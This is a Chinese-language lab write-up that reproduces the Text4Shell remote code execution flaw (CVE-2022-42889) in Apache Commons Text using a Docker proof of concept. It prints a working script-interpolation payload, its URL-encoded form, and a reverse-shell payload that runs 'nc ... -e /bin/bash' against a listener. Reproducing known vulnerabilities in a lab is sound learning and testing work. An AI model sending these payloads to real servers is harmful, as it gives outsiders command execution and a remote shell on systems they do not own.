Text4shell| CVE-2022-42889漏洞复现

admin 2022年10月26日18:04:47评论1,091 views字数 1729阅读5分45秒阅读模式

“Text4shell”

背景

本文展示了如何利用 Text4Shell 漏洞 (CVE-2022–42889)。为此,我将在本文中使用text4shell-poc.jar。

GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

声明信息

本文仅用于展示用途, 适用于好奇并想了解此漏洞的人士, 本文所有内容不可用于非法用途, 如使用者利用本文违反了相关法律, 与本文作者无关.

概要

Text4shell 漏洞于 2022 年 10 月 13 日向 Apache 披露。Text4Shell 是一个影响使用 Apache Commons Text Library 某些功能的 Java 产品的漏洞,它可能允许远程攻击者在服务器上执行任意代码。

影响范围

1.5 <= Apache Commons Text <= 1.9

环境搭建

前提需求:

  • JDK版本11.0以上
  • Docker
  • Maven

安装过程

安装jdk11

sudo apt update && sudo apt install openjdk-11-jdk

Text4shell| CVE-2022-42889漏洞复现

安装docker

sudo apt install docker.io containerd runc

Text4shell| CVE-2022-42889漏洞复现

新建文件夹安装mvn

wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

Text4shell| CVE-2022-42889漏洞复现

从github拉取PoC

git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git

Text4shell| CVE-2022-42889漏洞复现

进入PoC文件夹后使用mvn clean install(请注意如果嫌麻烦可以设置环境变量)

../apache-maven-3.6.3/bin/mvn clean install

Text4shell| CVE-2022-42889漏洞复现

当返回BUILD SUCCESS时, 代表可以进行下一步

Text4shell| CVE-2022-42889漏洞复现

docker拉取镜像

sudo docker build --tag=text4shell .

Text4shell| CVE-2022-42889漏洞复现

启动docker测试app

sudo docker run -p 80:8080 text4shell

Text4shell| CVE-2022-42889漏洞复现

注入payload

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

直接复制会导致报错, 建议转换成URL编码

Text4shell| CVE-2022-42889漏洞复现

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

Text4shell| CVE-2022-42889漏洞复现

获取容器id

sudo docker container ls

Text4shell| CVE-2022-42889漏洞复现

进入容器查看我们刚刚新建的文件foo

Text4shell| CVE-2022-42889漏洞复现

sudo docker exec -it <CONTAINER_ID> bash

持久化(反弹shell)

使用nc监听

nc -lvnp 4444

Text4shell| CVE-2022-42889漏洞复现

生成payload

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20192.168.146.50%204444%20-e%20%2Fbin%2Fbash%27%29%7D

Text4shell| CVE-2022-42889漏洞复现

url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”..

接受到shell

Text4shell| CVE-2022-42889漏洞复现

结语

  • 感谢各位师傅看到这里, 创作不易
  • 如果您想联系我, 可以直接添加我的微信号ID: wengchensmile, 来技术交流.
  • 我们下期再见!


原文始发于微信公众号(Aaron与安全的那些事):Text4shell| CVE-2022-42889漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月26日18:04:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Text4shell| CVE-2022-42889漏洞复现http://cn-sec.com/archives/1372522.html

发表评论

匿名网友 填写信息